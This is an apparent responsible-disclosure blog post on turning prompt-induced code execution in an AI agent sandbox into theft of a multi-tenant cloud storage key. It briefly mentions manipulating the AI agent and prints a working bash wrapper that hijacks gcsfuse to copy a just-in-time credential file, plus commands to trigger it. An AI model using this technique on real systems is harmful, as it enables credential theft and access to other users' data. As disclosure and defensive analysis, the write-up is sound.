# From 'Safe' AI Sandbox to Multi-Tenant Cloud Breach

A few weeks ago, I posted on LinkedIn about tricking a "secured" sandboxed agent into running arbitrary code with just a prompt. I framed it as a high-stakes game, and the system took the bait. No exploits, no payloads -- just some creative conversation.

That got me RCE.

This post is about what happened after that: turning that initial foothold into stealing the service account key that backed shared storage for every user on the platform.

---

## The Attack Chain

Here's how it went down:

![Attack Chain](https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989d0b1a-5d55-4935-89d7-a0ac7c7c5372_1408x768.jpeg align="left")

The fun part? Steps 2-5 weren't about AI or prompts at all. Once you've got code execution, you're back to classic post-exploitation. That's where things got interesting.

---

## 1\. Landing in the Sandbox

After getting RCE, I did what anyone would do:

```bash
id
env
```

Quick look around showed me:

* Running in a Firecracker microVM
    
* Had passwordless sudo
    
* Time to root: maybe 3 seconds
    

```bash
sudo -s
whoami
# root
```

Now, you're probably thinking: "Cool, you got root, but you're stuck in an isolated VM. Damage is contained."

Yeah, let's see about that.

---

## 2\. Enumeration Never Disappoints

I started with the basics:

```bash
ps aux
```

Mostly boring output. But then one line caught my eye:

```plaintext
/usr/bin/gcsfuse --foreground ... --key-file /root/.gcs-key.json SAND-XXX /home/user/.gcs-sync
```

![ps aux output showing gcsfuse process](https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7126e51f-6dd4-4d29-9301-bd5e98a9dc9b_1420x596.heic align="left")

This single line told me everything:

* The sandbox mounts a Google Cloud Storage bucket
    
* Authentication uses a JSON service account key
    
* That key lives (at least briefly) at `/root/.gcs-key.json`
    

New objective: how can I get that key now?

## The Key That Wasn't There

Obviously, first thing I tried:

```bash
cd /root
ls -la
```

Nothing. No .gcs-key.json anywhere.

After poking around at timestamps and mount namespaces, I figured out what was happening. The platform was doing JIT credentials:

```plaintext
1. Orchestrator drops /root/.gcs-key.json
2. Starts gcsfuse with --key-file /root/.gcs-key.json
3. Mount succeeds
4. Deletes the key file
```

The whole thing happens in maybe 200ms. If you're looking for static files, you're already too late.

So I stopped chasing the file and went after the process that reads it.

For those might be questioning about JIT credentials.

***Just-in-Time is a temporary, short-lived, and dynamic authentication tokens, passwords, or access keys issued to users or systems only when they are needed for a specific task and immediately revoked afterward.***

## Hijacking gcsfuse

With root in the guest, I can modify any binary I want. The plan was simple:

**Before:**

```plaintext
Orchestrator -> /usr/bin/gcsfuse -> GCS mount
```

**After:**

```plaintext
Orchestrator -> /usr/bin/gcsfuse (my wrapper) -> copy key -> real gcsfuse -> GCS mount
                                              |
                                         /tmp/leaked_key.json
```

### Step 1: Move the real binary

![Moving the real gcsfuse binary](https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ebb0d0-6eb3-40bb-839b-e36249b45833_1414x152.png align="left")

### Step 2: Drop my wrapper

```bash
cat << 'EOF' > /usr/bin/gcsfuse
#!/bin/bash

# Log everything
{
  echo "=== GCSFUSE INTERCEPTED ==="
  echo "Time: $(date)"
  echo "Args: $@"
  echo "==========================="
} >> /tmp/gcs_intercept.log

# Grab the key file
if [[ "$@" == *"--key-file"* ]]; then
    KEY_PATH=$(echo "$@" | grep -oP '(?<=--key-file )[^ ]+')
    if [ -f "$KEY_PATH" ]; then
        cp "$KEY_PATH" /tmp/leaked_key.json
        chmod 644 /tmp/leaked_key.json
    fi
fi

# Call real binary so everything keeps working
exec /usr/bin/gcsfuse.real "$@"
EOF
```

```bash
chmod +x /usr/bin/gcsfuse
```

This does three things:

1. Logs the invocation (helpful for debugging)
    
2. Extracts and copies the key file
    
3. Runs the real binary so nothing breaks
    

### Step 3: Trigger a remount

```bash
pkill gcsfuse
```

The platform's watchdog sees the mount died and restarts it automatically -- except now it's calling my wrapper instead.

## Game Over

After the remount:

```bash
ls -la /tmp
```

```plaintext
-rw-r--r-- 1 root root  2341 Jan 31 23:15 gcs_intercept.log
-rw-r--r-- 1 root root  2289 Jan 31 23:15 leaked_key.json
```

![Got it](https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ca58323-fd86-409c-b14a-8d10e0b8a696_270x270.heic align="left")

Got it.

```bash
cat /tmp/leaked_key.json
```

![Leaked key JSON](https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8e3bc0-eff4-4a82-ae6b-f9b89cb48aed_1261x704.png align="left")

With this key:

* Full read/write to the shared GCS bucket
    
* Access to list, download, and modify any user's files
    
* Complete bypass of the platform's API
    

One compromised sandbox = access to everyone's data.

![gsutil ls output](https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72132e64-25ac-4b83-b0cf-29c8caf09ec6_1232x194.png align="left")

> Over 19k users

---

## Where It Actually Broke

Here's the thing: this wasn't a hypervisor escape or some wild kernel exploit.

Firecracker did exactly what it's supposed to do. The VM isolation worked fine.

The problem was how the platform connected credentials and storage to that VM:

![Trust failures diagram](https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb165e315-2e5e-4a42-9c1f-157f652fcb29_1408x768.heic align="left")

Three mistakes:

1. **Credential hand-off**: A powerful, long-lived JSON key got dropped into a potentially hostile guest as a plain file.
    
2. **Blind trust**: The orchestrator assumed `/usr/bin/gcsfuse` inside the VM was legit. No integrity checks, nothing.
    
3. **Shared identity**: One service account, one bucket, all users. Compromise that identity and you've got everyone.
    

That's it. Sometimes the most dangerous vulnerabilities aren't the fancy ones -- they're just trust placed in the wrong spot.

---

**Disclosure**: This vulnerability was reported to the vendor and has been patched. This writeup is published as part of responsible disclosure practices.
